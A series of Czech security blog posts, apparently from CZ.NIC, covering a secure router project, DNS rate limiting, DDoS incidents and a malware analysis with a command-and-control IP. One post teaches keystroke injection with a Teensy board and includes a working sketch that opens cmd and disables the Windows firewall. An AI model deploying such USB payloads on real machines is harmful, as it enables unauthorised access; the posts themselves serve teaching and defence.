.blog

Na konferenci IT 13 jsme mimo jiné představili nový projekt zaměřený na vývoj bezpečného domácího routeru. Ten je součástí většího projektu zaměřeného na zlepšení bezpečnosti v českém síťovém prostředí a to pomocí aktivního monitoringu a analýzy síťového provozu. Zmíněný domácí router bude v rámci tohoto projektu plnit roli síťové sondy a zároveň aktivního prvku v ochraně koncových uživatelů.

V tomto krátkém článku si představíme především hlavní důvody vzniku tohoto projektu a jeho cíle.

Motivace

Každý, kdo provozuje nějaký veřejně dostupný server a podívá se občas do jeho logů, ví, že internet není klidné a bezpečné místo. I bez jakéhokoli zásahu uživatele se s počítačem připojeným k internetu neustále pokouší spojit různé cizí stroje a to málo kdy s dobrými úmysly (vizte např. výsledky z našeho honeypotu).

Vzhledem k tomu, že většina domácích sítí je připojená k síti svého poskytovatele přes jeden přístupový bod, kterým je domácí router, a často používá NAT, který schovává celou domácí síť za jedinou IP adresu, vedou první útoky v podstatě vždy právě na domácí router. Ten je tedy ideálním místem jak pro detekci pokusů o neoprávněný přístup do sítě, tak pro aktivní ochranu před nimi. Pokud by si navíc routery byly schopny mezi sebou informace o detekovaných útocích vyměňovat, mohlo by to vést ke zvýšení účinnosti ochrany jednotlivých strojů a zároveň detekci velkých útočníků.

Protože se v našem sdružení dlouhodobě věnujeme problematice internetové bezpečnosti, rozhodli jsme se vytvořit systém, který by s pomocí sítě domácích routerů dokázal monitorovat podezřelý síťový provoz a reagovat na zjištěné bezpečnostní hrozby úpravou pravidel pro přístup do sítě. Takto získané výsledky by pak byly k dispozici i pro ochranu dalších uživatelů Internetu.

Distribuovaný adaptivní firewall

Systém, který jsem nastínil v minulém odstavci, interně nazýváme “distribuovaný adaptivní firewall” a je v této chvíli ve fázi aktivního vývoje. Součástí systému je klientská část, která po aktivaci na domácím routeru monitoruje nevyžádané pokusy o přístup do sítě zastavené firewallem a také provádí analýzu protékajících dat. V těch se pokouší odhalit anomálie, které by mohly být příznakem úspěšného útoku nebo již existující nákazy. Výsledky obou zmíněných částí klientského systému jsou nahrávány na druhou část systému, kterou je centrální server, kde jsou data dále zpracovávána a porovnávána s výsledky z ostatních sond.

Pokud je systémem některá část provozu vyhodnocena jako anomální a odborná obsluha systému vyhodnotí danou anomálii jako potenciální útok, připraví pro ni nové pravidlo pro firewall. To je potom formou aktualizace nahráno zpět na všechna zařízení zapojená do sběru dat.

Pro případy, kdy je třeba o dané anomálii získat doplňující informace, je součástí systému také nástroj na spouštění specializovaných “mikrosond”, které je možné formou modulů nahrávat na sledovaná zařízení. Ty pak umožní zaměřit analýzu na konkrétní typ provozu a získat detailnější data o daném jevu.

Výsledkem výše popsaných opatření je systém, v rámci kterého budou moci uživatelé chránit své sítě i sítě ostatních účastníků před vnějšími útoky a který se bude postupně “učit” reagovat na nové hrozby. Navíc bude možné takto získaná data použít i pro ochranu další uživatelů Internetu, kteří nejsou do projektu přímo zapojeni, a také pro další analýzy získaných informací.

Závěr

V tomto článku jsme si představili nový projekt sdružení CZ.NIC zaměřený na distribuovanou kybernetickou bezpečnost. V blízké budoucnosti si v samostatném příspěvku ukážeme hlavního aktéra tohoto projektu, kterým je otevřený domácí router vyvíjený pod interním označením “CZ.NIC router”.

Bedřich Košata

O RRL již krátce psal Ondřej Surý v článku Ochrana obětí před DNS amplification útoky, tak tedy jen v rychlosti oč se jedná. RRL je jedna z metod, jak se poprat s amplifikačními útoky na DNS, která shlukuje podobné odpovědi do tříd a následně omezuje rychlost toku odpovědí v pro danou třídu. Jedná se v podstatě o opak filtrování dotazů na firewallu a výhodou je právě třeba identifikace různých dotazů vedoucí na podobnou odpověď, typicky na neexistující jméno. RRL v současné chvíli implementuje BIND9/10, NSD od verze 3.2.15 a Knot DNS od verze 1.2.0-rc3.

Vzhledem k tomu, že v současné chvíli není tento mechanismus nijak standardizován, každá implementace se chová mírně odlišně. Podívejme se trochu blíže na tři nejzajímavější rozdíly a to, jaký vliv mají na chování serveru pod útokem.

Základní časovou jednotkou pro měření rychlosti toku je vteřina, pro kterou do každé třídy přibyde počet tokenů odpovídající povolené rychlosti. S každou odpovědí se pak token odebírá, a pokud už jsme vše vyčerpali, odpověď zahazujeme. BIND9 k tomu navíc zavádí ještě jedno “makro okno”, které průměruje rychlost toku pro několik následujících vteřin. Zásadním rozdílem je, že v rámci tohoto okna se může počet dostupných tokenů snížit do záporných hodnot, a tím vyčerpat kapacitu pro celý zbytek okna. Jestli je například okno dlouhé 5 vteřin, limit je 10 odpovědí za vteřinu a v první vteřině přijde 50 podobných dotazů, tak následující 4 vteřiny nebude podobné dotazy zodpovídat. Knot DNS ani NSD takový koncept nemají, dá se tedy říct že délka časového okna je 1s. Důvodem je větší férovost odezvy, každá vteřina začíná s čistým štítem, avšak za cenu menší agresivity potlačení nárazových toků.

Co ale dělat v případě, že přijde legitimní dotaz v době, kdy byl vyčerpán počet tokenů? Úplně jej zahodit? Takový dotaz jen velmi těžko rozlišíme od útoku, ale přesto bychom měli dát legitimnímu tazateli možnost získat odpověď a ne jej úplně odstřihnout. Místo toho, aby tedy server dotaz zcela ignoroval, tak odešle prázdnou odpověď s nastaveným TrunCated bitem v hlavičce. Tazatel je pak nucen opakovat dotaz po TCP, na který už dostane odpověď. Takovému mechanismu se říká SLIP (podporují ho všechny implementace). Knot DNS se odlišuje tím, že má počítadlo pro každé vlákno zvlášť, a pro menší rychlost toku není tak přesný. Během testování se ale nepřesnost nijak zvlášť neprojevila a největší vliv má konzervativní výchozí nastavení.

(Zdroj: Comparison of RRL behaviour in BIND9, Knot DNS, and NSD, Dave Knight, DNS-OARC Spring 2013)

Třetí zásadní odlišností je způsob klasifikace odpovědí. Technické memo a BIND9 klasifikují odpověď pomocí:

• Zdrojové adresy (podsítě)
• Dotazovaného jména (nebo zóny v případě chyb, nadřazeného jména pokud je odpověď pokrytá wildcardem)
• Návratové hodnoty (RCODE)

NSD navíc rozlišuje několik podtříd dotazu, např. pokud je dotaz na typ ANY, Knot DNS dotazy navíc ještě klasifikuje podle velikosti. Všechny současné implementace jsou založené na hash tabulkách. Liší se ale výrazně v tom, jakým způsobem řeší kolize. Implementace v BIND9 je založená na přeplňování tabulek, přičemž kolidující klíče se řetězí za sebe (do omezeného počtu). A právě o kolizích probíhala na mailinglistu RRL dost živá diskuze. Abych to vysvětlil, řetězení dobře řeší kolize pokud je zdrojová podsíť různá, ale pořád zůstává možnost kolize hashe dotazovaného jména, které se neukládá celé. Nově ale zavádí potenciální problém, a to že útočníkovi do určité míry možnost kontrolovat množství alokované paměti pro tabulku a ztrácí výkon na procházení zřetězených hodnot.

NSD používá tabulku pevné velikosti, bez řetězení. Netrpí tedy na výše popsané problémy, ale s větší pravděpodobností umožňuje útočníkovi předem spočítat kolidující odpovědi (Birthday attack) v závislosti na velikosti tabulky. Protože není kolize kam řetězit, tak pro danou třídu resetuje počet tokenů, což sice na jednu stranu vylučuje riziko omezení kolidujících odpovědí, ale umožňuje při nalezení dvou kolidujících dotazů rate limiting zcela obejít.

Knot DNS využívá hopscotch hashing, který je velmi dobrým kompromisem s nízkou pravděpodobností kolize (1/32!) při zachování pevné velikosti. Zároveň do klíče přidává náhodně generované tajemství pro znesnadnění predikce kolizí a umožní jen jeden reset počítadla třídy za vteřinu.

Ze zatím dostupných měření na reálných datech vyplývá, že chování všech implementací je i přes popsané rozdíly velmi podobné a liší se především citlivostí u pomalého toku dotazů. Hlavním omezením metody založené na rate limitingu je především nemožnost rozlišit právoplatný dotaz od útoku, což ale při rozumné spolehlivosti není ani prakticky možné. Příliš agresivní omezení by tak mohlo vést k přílišnému zahazování právoplatných dotazů, konzervativní zase k nižší účinnosti. BIND9 doporučuje agresivnější nastavení, Knot DNS je spolu s NSD spíše na konzervativní straně (RRL ve výchozím nastavení vypnuté, v dokumentaci 50 r/s).

Marek Vavruša

USB je stále často podceňovaným místem, přes které může být kompromitován operační systém. Kromě klasického šíření malware pomocí USB Mass storage disků, Flash disků s podporou U3, které umožňují obejít dnes již ve většině operačních systémů existující blokaci autorun funkce, a hardwarových keylogerů stojí za pozornost programovatelná zařízení, která se vůči systému chovají jako klávesnice. Jedno takové zařízení bych tu dnes chtěl krátce prezentovat.

Pro fanoušky open-source platformy Arduino nebude pravděpodobně ani Teensy zcela neznámé. Pro ty, kteří zatím neměli tu čest, jen krátké představení. Jedná se o jednočipové počítače, které jsou vhodné pro různé jednoúčelové aplikace jako je řízení, či regulace. Takové Arduino můžete například použít k řízení nějakého vašeho vozítka či na něm naprogramovat jednoduchý webový server a připojit jej k internetu. My se však dnes zaměříme na Teensy a především na možnost využití tohoto zařízení k penetračnímu testování.

Toto zařízení má totiž hned tři výhody, je malé, takže se snadno vměstná například do útrob počítačové myši, jeho pořizovací cena je kolem $20 a především, z pohledu počítače se umí hlásit jako MIDI/USB/HID zařízení, což mimo jiné znamená, že počítač jím zadaná data interpretuje jako povely od uživatele. Tady se právě otevírá cesta pro využití při penetračním testování. Ale pojďme pěkně po pořádku.

Teensy ++ 2.0 ve srovnání s běžným flash diskem

Kromě samotného zařízení – já jsem vše testoval na Teensy ++ ve verzi 2.0 – potřebujeme ještě obslužný software. Pokud si chcete následující proceduru ušetřit, můžete sáhnout po distribuci Backtrack 5 R3, kde už je jak ADE, tak i podpora pro Teensy implementována. V opačném případě na této adrese stáhneme nejdříve Arduino Development Environment (ADE) pro námi požadovanou platformu a rozbalíme jej na disk. Pokud pracujeme na linuxu, pak musíme ještě udělit non-root uživatelům práva k použití Teensy.

sudo cp 49-teensy.rules /etc/udev/rules.d/

Arduino software však sám o sobě nepodporuje Teensy, je proto potřeba podporu pro Teensy doinstalovat. Stáhneme tedy instalátor rozšíření teensyduino pro náš OS a spustíme jej. Během instalace teensyduino budeme vyzváni k zadání cesty k rozbalenému software pro Arduino. V aplikaci ADE by se měla nyní objevit podpora pro Teensy. Po spuštění programu ještě vybereme naši desku, v mém případě Teensy ++ 2.0 a jako USB Type nastavíme kombinaci Keyboard+Mouse+Joystick.

Nastavení programu Arduino Development Environment

Nyní již zbývá jen připojit naše zařízení. Pokud si chceme ověřit, že vše správně funguje, můžeme nahrát náš první program. Než se pustíme do vlastních programů, můžeme využít předpřipravené ukázky. Pod File –> Examples –> Teensy najdeme množství připravených prográmků, kterým se zde říká Sketch. Na první vyzkoušení doporučuji položku Tutorial1 –> Blink. Po nahrání zdrojového kódu klepneme na upload, náš sketch se automaticky zkompiluje a nahraje do zařízení. Po úspěšném nahrání by na zařízení měla začít blikat dioda. Pokud se tak nestalo, zkuste zmáčknout tlačítko, které je na desce.

Pro psaní vlastních programů použijeme jazyk Arduino Programmable Language, lze však použít i klasický programovací jazyk C. Každý sketch musí vždy obsahovat funkce setup a loop, jinak jej kompilátor nepřijme.

Základ každého programu pro Teensy

Začněme klasikou, následující program, díky skutečnosti, že se Teensy chová po připojení k počítači jako klávesnice, vypíše „Hello World“.
void setup()
{
Keyboard.print("Hello World");
}
void loop()
{
}
Pro informaci, pokud bychom příkaz umístili do smyčky loop, bude se Hello World vypisovat stále dokola. Nyní se pojďme podívat, jaké další zajímavé věci můžeme vyzkoušet.

Pokud se podíváme na tuto adresu, můžeme si najít informace o možnostech zadání všech obvyklých znaků. Zajímavé jsou také Modifier Keys, což jsou funkční klávesy, kde například MODIFIERKEY_GUI je vlastně klávesa WIN. Pojďme se nyní podívat, jakým způsobem může této skutečnosti využít útočník. Následující sketch provede tyto kroky – na začátku vyčká 5000ms, to aby došlo ke korektnímu připojení zařízení k operačnímu systému. Dále spustí klávesovou zkratku WIN R, což ve windows vyvolá okno pro spuštění programu. Do něj pak zapíše příkaz cmd pro spuštění příkazové řádky. Ve finále pak příkazem netsh firewall set opmode disable vypne firewall ve windows.

void setup()
{
delay(5000);
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
delay(500);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("cmd");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
delay(2000);
Keyboard.print("netsh firewall set opmode disable");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
}
void loop()
{
}


Takto po připojení k počítači s OS windows dojde k vypnutí firewallu, na což windows zareagují informací o možném ohrožení počítače

Jak je vidět, Teensy se skutečně chová z pohledu PC jako klávesnice. Díky možnostem, které nabízí unixové shelly nebo třeba powershell ve windows, otevírá toto zařízení zajímavé možnosti při penetračním testování. Představte si, že toto zařízení zamaskujete jako počítačovou myš, USB disk či nějaký USB gadget a necháte jej ležet na vhodném místě, třeba na recepci a nahrajete do něj vlastní kód, který pomocí powershellu například přidá nový účet a spustí remote desktop. I přes fakt, že si většina těchto prográmků otevře nejdříve okno pro zadávání příkazů, jsou prý útoky pomocí tohoto zařízení úspěšné. Pokud si však jako oběť vybere útočník počítač běžného firemního uživatele, asi to není zas až tak divné. Ze své osobní zkušenosti ze společnosti, kde se používala Active Directory a kde se při každém přihlášení počítače spouštěli různé skripty, mohu říci, že jedno okno s MSDOS navíc bych při přihlášení nejspíš také nezaregistroval.

Osobně jsem se o tomto zajímavém zařízení dozvěděl při prezentaci o programu kautilya napsaném v jazyce Ruby, který umí generovat různé ukázkové sketche pro Windows, Linux i OS X zaměřené právě na penetrační testování.

Starší verze programu Kautilya ještě bez podpory OS X je již součástí distribuce Backtrack

Jeden z těchto sketchů dokáže například stáhnout spustitelný kód uložený na serveru pastebin v textovém formátu, převést jej zpět na exe a spustit jej na pozadí na počítači oběti. Další zase dokáží přidat nového administrátora, povolit vzdálenou plochu, či na pozadí spustit instanci prohlížeče s konkrétní URL.

Pojďme si ještě krátce říci, jak se lze proti zneužití takovéhoto zařízení vůči námi spravovaným počítačům bránit. Ve světě operačních systémů společnosti Microsoft můžeme pomocí skupinové politiky zakázat běžným uživatelům instalaci nového hardware. V linuxu pak můžeme pomocí UDEV rules například povolit pouze známá zařízení.

Microsoft nabízí přes gpedit.msc několik způsobů pro blokování instalace nových zařízení

Pavel Bašta

Včera jsme od jednoho uživatele z ČR obdrželi odkaz (http://www.goo.gl/XXXXXXX=IMG0540240-JPG), který dostal jeho známý přes Skype. Byli jsme požádáni o informaci, co se mohlo na tomto počítači stát, jaké to mohlo mít dopady a jak se případného viru zbavit. Zkusili jsme tedy analyzovat zaslaný odkaz v předem připraveném virtuálním prostředí. Samotná návštěva odkazu (zamaskovaný odkaz ve skutečnosti míří na IP adresu 94.242.198.64) vede k tomu, že je uživateli nabídnut ke stažení soubor s názvem IMG0540240-JPG.src.

Nepozorný uživatel snadno přehlédne skutečnou koncovku souboru, kterou je .scr

Po spuštění programu se v domovském adresáři aktuálního uživatele vytvoří složka S-500-9430-5849-2045, která je nastavena jako skrytá a systémová, takže při běžném nastavení Windows ji uživatel nevidí. V této složce je pak umístěn soubor winmgr.exe. Zároveň je do registrů přidán klíč Microsoft Windows Manager, kvůli zajištění automatického spuštění malwaru po startu Windows.

Program se po spuštění pokouší o připojení na IP adresu 94.242.198.64 na port 5050. Při našem prvním testu se mu to také podařilo, stáhl si instrukce a začal se pokoušet o rozesílání e-mailové pošty. Předpokládáme, že pokud by na testovacím systému byl funkční Skype, malware by se pokoušel šířit i jeho prostřednictvím. Bohužel se však v tu chvíli testovací systém odporoučel a nemáme tak k dispozici zachycené pakety pro detailnější analýzu. Při pozdějších pokusech se již malwaru se serverem kontaktovat nepodařilo. Server je nyní odpojen. Otázkou je, zda je to pouze dočasné nebo již byl odpojen definitivně.

Paket zachycený programem wireshark

Který program se pokouší o připojení lze dobře sledovat také pomocí programu TCPView

Soubor winmgr.exe jsme otestovali pomocí on-line nástroje virustotal.com a v současné chvíli jej rozpozná pouze 12 ze 46 antivirových programů. Bohužel mezi těmi „slepými“ jsou v současné chvíli i antiviry, které jsou hojně používané v ČR. Naštěstí podle analyzátoru společnosti Google na tento odkaz klikají především uživatelé v okolních zemích. Nelze však vyloučit, že u nás koluje jiný odkaz směřující na stejný malware a že tento odkaz může mít v ČR daleko více kliknutí.

Antiviry jsou zatím slepé

Na tento odkaz již kliklo 137 069 uživatelů

Jako obranu doporučujeme v první řadě neklikat na příchozí odkazy upozorňující uživatele na údajné fotky, na kterých by měli být zobrazeni, i když záminky, které mají uživatele donutit ke kliknutí, se mohou měnit. Pokud však již uživatel na odkaz kliknul a soubor spustil, je potřeba zachovat klidnou hlavu a v první řadě ukončit přes správce úloh proces winmgr.exe. Dále je potřeba smazat samotný soubor winmgr.exe ve složce S-500-9430-5849-2045. Je však potřeba nejdříve zapnout zobrazování skrytých a systémových souborů. Pak ještě odebereme z registrů klíč Microsoft Windows Manager a po restartu by mělo být již vše v pořádku.

Tento malware se nezdá být příliš sofistikovaný. Jeho závislost na jednom serveru i jeho relativně snadné odstranění ze systému ukazují spíš na práci někoho, kdo si možná jen chtěl vyzkoušet své možnosti. Přesto náš další krok bude distribuce vzorku tohoto malware antivirovým výrobcům.

UPDATE: Po napsání tohoto blogpostu se server na IP adrese 94.242.198.64 opět rozběhl. Stávající malware si z něho poté stáhl bratříčka, soubor bget.exe. Ten se v systému zahnízdil jako soubor 0584105130.exe v adresáři LOCALS~1\Temp\ v domovském adresáři uživatele. Tento soubor se v registru nachází hned na několika místech. Je tedy potřeba prohledat registr na výskyt “0584105130″ a všechny klíče odstranit. Po tomto kroku doporučujeme provést preventivní kontrolu systému některým z bootovatelných antivirových CD.

Pavel Bašta

V ČR nežijeme v bublině, které by se netýkaly problémy počítačové bezpečnosti. Proto bychom se po delší době chtěli opět podělit o některé zajímavé incidenty, se kterými jsme se v průběhu přibližně posledního roku setkali. U některých z nich je navíc zajímavé, že jste se o nich mohli dozvědět jako o něčem, co se někde odehrává, ale co si možná podvědomě představujeme jako něco, co se děje tam někde „venku“. Děje se to však i u nás, a proto je potřeba věnovat otázce počítačové bezpečnosti adekvátní prostor. Snad vás o tom přesvědčí i příklady některých incidentů, které jsme v CSIRT.CZ řešili, a které ukazují, že bezpečnost se týká nás všech, uživatelů i administrátorů. Z důvodů zachování anonymity zainteresovaných stran bohužel nemůžeme být příliš konkrétní, ale i přesto doufám, že pro vás budou následující řádky varováním.

V červnu minulého roku nás CERT-EU informoval o útoku, při kterém byla uživatelům v některých zemích odeslána e-mailová zpráva, která vypadala jako oficiální komunikace Evropské komise. V té chvíli jsme ještě netušili, že neznámý malware obsažený v přiloženém MS Word dokumentu a v rámci ČR odeslaný úředníkům jednoho českého ministerstva a jedné zdejší bance vstoupí do dějin jako špionážní malware Red October. O jeho existenci byla veřejnost informována v lednu tohoto roku, kdy se ukázalo, že po několik let sledoval vládní, diplomatické a výzkumné organizace ve východní Evropě. To, že se podařilo díky spolupráci CSIRT týmů v Evropě zabránit infikování desítek uživatelů v různých institucích půl roku před objevením tohoto malware, považujeme za slušný úspěch.

V posledním půl roce také pravidelně spolupracujeme s US-CERT a to v souvislosti s výskytem botnetu, který pro své fungování využívá webové servery. Šíří se především prostřednictvím zranitelných verzí známých redakčních systémů, jako je Joomla či WordPress. I když se může na první pohled zdát, že zranitelných webů je méně než zranitelných domácích počítačů, menší počet jednotlivých zapojených „botů“ útočníkům vynahradí rychlé linky, na kterých jsou obvykle servery připojené. Takto napadené servery se dle našich informací momentálně zneužívají především pro DDoS útoky na cíle v USA. V podstatě každý týden dostáváme informace o desítkách nových webových serverů v ČR, které jsou tímto způsobem zotročeny.

Za zmínku také stojí spolupráce CERT.BE, který získal logy přístupů na webovou stránku umístěnou na serveru v Belgii. Tato stránka šířila nebezpečný malware, který některé antivirové programy vůbec nedokázaly detekovat. Mezi počítači, které tento web navštívily, bylo také několik IP adres z České republiky. Podle informací, které jsme od námi kontaktovaných správců obdrželi, se skutečně tyto počítače při návštěvě tohoto webu nakazily a jejich uživatelé neměli vůbec tušení, že jejich počítač je infikován.

Začátkem března jsme se také podíleli na distribuci informací o novém rootkitu pro Linux, který se v systému usadí v podobě knihovny spojené s SSHD a u kterého zatím není jasné, jakým způsobem se do systému dostává. Mezi potenciálně infikovanými servery bylo i několik serverů z ČR.

Na závěr bych ještě zmínil, že jsme se již setkali také s případem vydírání, kdy bylo po jednom menším serveru požadováno „výpalné“ s tím, že dokud nezačne platit, bude na něj pravidelně podnikán DDoS útok.

Jak je vidět, kybernetická kriminalita a útoky se nevyhýbají ani České republice a je třeba na to pamatovat při naší každodenní práci, ať už z pohledu uživatele, nebo z pohledu správce IT.

Pavel Bašta

Posledních pár měsíců jsme byli svědky DNS útoků, které k amplifikaci používaly ANY dotazy na autoritativní servery s dostatečnou kapacitou. Jako reakce na tento druh útoků přišla DNS komunita s technikou Response Rate Limiting, takže kromě rate-limiting pravidel ve firewallu můžete dnes najít podporu RRL ve všech důležitých autoritativních serverech: BIND 9 (ve formě patche), NSD (od verze 3.2.15) a Knot DNS (od verze 1.2.0-rc3). Knot DNS navíc od verze 1.1.0 podporuje blokování dotazů na ANY; v případě, že DNS server dostane DNS dotaz na typ ANY, vrátí se pouze malá odpověď s nastaveným truncate (TC) bitem, která resolveru říká, že se má zeptat znovu přes TCP. Velcí operátoři DNS serverů tedy zareagovali poměrně rychle a nasadili buď novější nebo opatchované verze DNS serverů, nebo případně pravidla ve firewallech.

Dnes se zdá, že sezóna útoků založených na ANY dotazech je za námi a útočníci se v případě masivního DDoS útoku na Spamhaus vrátili k osvědčené technice zneužívání otevřených resolverů a TXT záznamů.

Důležité je zdůraznit, že jediná spolehlivá ochrana proti těmto útokům je buď omezení přístupu na otevřené resolvery pouze ze sítě, kde mají být dostupné, nebo v případě, že je takový resolver otevřený cíleně, tak přísný rate-limiting, který neomezí legitimní uživatele, ale útočníkům znemožní využívat DNS amplifikaci ve velké míře. Osobně se ovšem domnívám, že případů, kdy je otevřený resolver opravdu zapotřebí, by se dalo napočítat na prstech jedné ruky.

Pokud se budeme bavit o ochraně na trochu vyšší úrovni, tak finálním cílem bude donutit (nejlépe všechny) operátory k ingress filteringu (tedy BCP38), který by zabránil možnosti masově podvrhávat zdrojové IP adresy. Zde by byla zapotřebí spolupráce všech operátorů, aby při uzavírání smluv se zákazníky toto filtrování vyžadovali a vynucovali. Bude to ze začátku bolestivé, ale domnívám se, že se pomalu blížíme do situace, kdy liberální přístup nepomáhá vůbec nikomu kromě útočníků.

A protože lov na všechny otevřené resolvery, což si například klade za cíl Open DNS Resolver Project, je běh na dlouhou trať (skeptik by dodal, že je to spíše boj s větrnými mlýny), tak si pojďme rychle ukázat, jak se dá pomoci obětem DNS DDoS útoků pokud máte v síti otevřené resolvery zapojené do útoku.

Samozřejmě nejjednodušší řešení je na odchozím firewallu nastavit blokování veškerého UDP provozu na IP adresy cíle. Ale to bychom tak říkajíc s vaničkou vylili i dítě a zaDoSovali cílový server ještě lépe než útočník, protože na postižené DNS servery občas také chodí legitimní dotazy, které je zapotřebí zodpovědět.

Pro blokování pouze takových DNS zpráv, které jsou součástí útoku, se dá využít jednoduchý příznak dotazy (QUERY) v hlavičce DNS zprávy. Legitimní DNS zprávy od klientů, které opravdu zajímá odpověď a nejsou jen součástí útoku, budou mít tento příznak nastavený na 0. Odražené DNS zprávy budou mít tento příznak nastavený na 1, což znamená odpověď. Na firewallu pak můžeme jednoduše spárovat cílovou IP adresu s tímto příznakem v DNS zprávě (v iptables například pomocí modulu u32), a odražené DNS zprávy blokovat.

Pomocí iptables bude tedy konfigurace na firewallu vypadat nějak takto:


iptables -A FORWARD -s <vase_sit/maska> -d <victim_ip>
-p udp --sport 53 \! -f
-m u32 --u32 "0>>22&0x3C@8>>15&0x01=1" -j LOGDROP


Toto pravidlo loguje a blokuje (v případě, že máte nadefinovaný chain LOGDROP) všechny UDP odpovědi na portu 53 (-p udp --dport 53), které nejsou fragmentované (\! -f) a na nejvyšší pozici dvou bajtu DNS hlavičky je nastavená 1. (Mimochodem se zdá, že v příkladu z manuálu netfilteru, který jsem použil je chyba, a autora příkladu zmátlo to, že DNS dotaz je specifikován bitem QR=0.)

Pokud jste si jistí, že síť, kterou firewallujete nemá obsahovat žádné DNS servery, které by měly dávat odpovědi ven, tak můžete vyhodit část pravidlo s ‘-d ‘ a budete tak blokovat všechny DNS odpovědi odcházející z vaší sítě.

V případě jiných firewallů je zapotřebí se začíst do dokumentace, v komentářích pak uvítám, pokud se podělíte s tím, jak dosáhnout podobné kontroly v BSD ipf, na Ciscu nebo Juniperu.

Ondřej Surý

V souvislosti s nedávnými DDoS útoky proti službě SpamHaus.org otisklo mnoho médií názor, že tento útok je natolik masivní, že údajně dochází ke zpomalování Internetu. To je trochu silné vyjádření, které patrně pochází z blogpostu šéfa CloudFlare Matthew Prince. Pojďme se tedy na tuto věc podívat blíže.

Intenzita útoku byla skutečně mimořádně velká, hovoří se o cca 300Gbps provozu generovaného pomocí DNS amplification útoku. To skutečně není málo, a nesnese to samozřejmě vůbec srovnání s útoky, které se nedávno udály u nás. Ale je to dost na zpomalení Internetu? Odpovědí může být například pohled na tuto tabulku, která ukazuje kolik běžně proudí největšími peeringovými uzly. Když sečtete špičkové toky alespoň dvaceti největších z nich (mezi které mimochodem patří i Český NIX.CZ), dostanete se bohatě nad 10000Gbps (=10Tbps). A to pochopitelně zdaleka nereprezentuje veškeré toky Internetu. Jinými slovy, navýšení celkového toku Internetu bylo sotva v řádu pár procent. Uvědomme si, že nějaké globálně sledované události, jako třeba olympiády, v poslední době vygenerují toků mnohem více. Mohlo tedy dojít k významnému vlivu na rychlost globálního Internetu? Rozhodně ne!

Samozřejmě, mohlo dojít ke zpomalení Internetu lokálně, sám Prince ve svém článku výslovně uvádí, že někteří Britští zákazníci jejich společnosti měli potíže. To je poměrně logické, ale ostatní sítě nijak poškozeny nebyly. Prince ještě ukazuje graf, který má navodit dojem, že došlo k nějakým výpadkům v londýnském peeringovém centru LINX, ale pravdou je, že nikdo žádné problémy nedetekoval, že šlo spíše o problémy systému, který tyto grafy kreslí.

Mimochodem, povšimněte si, že toky samotného LINXu jsou v normálu hodně velké a 300Gbps navíc by jejich infrastruktura měla rozhodně ustát.

Tedy, ke zpomalení Internetu nedošlo, žádná velká senzace se nekoná. Prostě jsme jen byli svědky většího DDoSu. No a v dalším článku si povíme, jak by se těmto útokům mělo předcházet.

Ondřej Filip

O aplikaci MDM jsme na tomto blogu již několikrát psali. Tentokrát se s vámi chci podělit o informace, které mě velmi potěšily. Před několika týdny jsem mluvil o MDM s kolegy z CSIRT.SK. Při tom jsem se dozvěděl, že u nich naše aplikace zaznamenala velký úspěch.

V polovině roku 2012 si kolegové ze Slovenska dali za úkol najít nástroj, který by jim zkrátil čas při vyhodnocování a následné správě incidentů, které obdrží od zahraničních partnerů. Trh s těmito nástroji je opravdu veliký a každému vyhovuje jiný model na správu incidentů. Mezi testovanými aplikacemi bylo i naše MDM, které kolegy zaujalo doslova na první pohled; sympatie si získalo i díky tomu, že je open source.

Slovenský bezpečnostní tým se rozhodl používat aplikaci MDM nejen pro zpracování informací o hrozbách v doméně .sk, ale také jako základní nástroj pro zpracovávání všech incidentů přijatých tímto národním CSIRT týmem. Proto změnili původní zpracování a zobrazení incidentů v samotné aplikaci a rozšířili také možnost administrovat jak incidenty s URL, tak i bez URL, například na základě IP adresy.

První testovací verze MDM byla na Slovensku nasazena od 24. září loňského roku do konce prosince. V tomto období zkoumali v CSIRT.SK funkčnost a přijímali připomínky a návrhy na zlepšení tohoto softwaru. Od 1. ledna mají naši aplikaci již pevně pod kontrolou. Aktuálně se jedná o verzi 2.0. a počet incidentů, které touto aplikací spravují, převýšil 27 tisíc.

Rádi bychom tedy našim slovenským „bratrům“ (jmenovitě kolegovi Martinu Jurčíkovi) poděkovali nejen za poskytnuté informace k tomuto článku, ale také za spolupráci. A samozřejmě také přejeme jen samá pozitiva a sociální jistoty při používání naší aplikace.

Michal Prokop

Odborná i všeobecná média chrlí v současné době velké množství článků na téma kybernetických útoků z minulého týdne. Téměř všechny články označují útok jako DDoS, mluví se o pronájmu botnetů a podobně. Minulý týden jsem já a především moji kolegové strávili analýzou celého problému a z dosud známých dat bych si dovolil jít proti tomuto mediálnímu proudu a představit jinou teorii opřenou o důkaz proveditelnosti. Dopředu podotýkám, že jde spíše o technickou nuanci, která nám patrně nijak zásadně nepomůže v pátrání po skutečnému útočníkovi.

Především musím uvést, že útok měl vlastně dvě různé fáze. V té první v začátku týdne šlo o klasický SYN Flood útok s podvrženou zdrojovou adresou. Tedy, že útočník či útočnici emitovali velmi rychle úvodní packety TCP komunikace (SYN), které směřovaly přímo na cíl. V druhé fázi emitovali útočníci SYN packety se zdrojovou adresou cíle, které směřovaly na některé české servery s kvalitním připojením. Tyto servery odpovídaly druhým packetem úvodní TCP sekvence neboli SYNACK a tím zahlcovaly cíl, působily tedy jako jakýsi reflektor.

Nicméně co zajímavé je, že téměř všichni napadení v první fázi nebo ti, kteří byli zneužiti jako reflektor v druhé fázi, se shodují v tom, že útoky přicházely víceméně z jednoho směru ze zahraničí a to silou o řádu set tisíců až miliónů packetů za vteřinu. Nejčastěji je skloňována ruská síť RETN, ale hovoří se i o jiných sítích. A to je právě to nečekané. Při klasickém DDoS útoku, který používá botnet, přicházejí packety z různých směrů a obvykle nejde žádný dominantní směr určit. Pokud by útočník využil takovýto botnet, jistě by měl největší zájem o zapojení uzlů právě z našeho území, které mají k cíli nejlepší spojení. Ale k tomu pravděpodobně (krom toho odrazu z druhé fáze) nedošlo. Netvrdím tedy, že nešlo o distribuovaný útok, ale rozhodně byla primární útočící síť (nebo alespoň její dominantní část) poměrně geograficky omezená. Spíše mě to tedy vede k myšlence, že jde spíše o DoS než DDoS. Opět je pochopitelně možné, že si onu infrastrukturu někdo pronajal na stejném principu jako botnet.

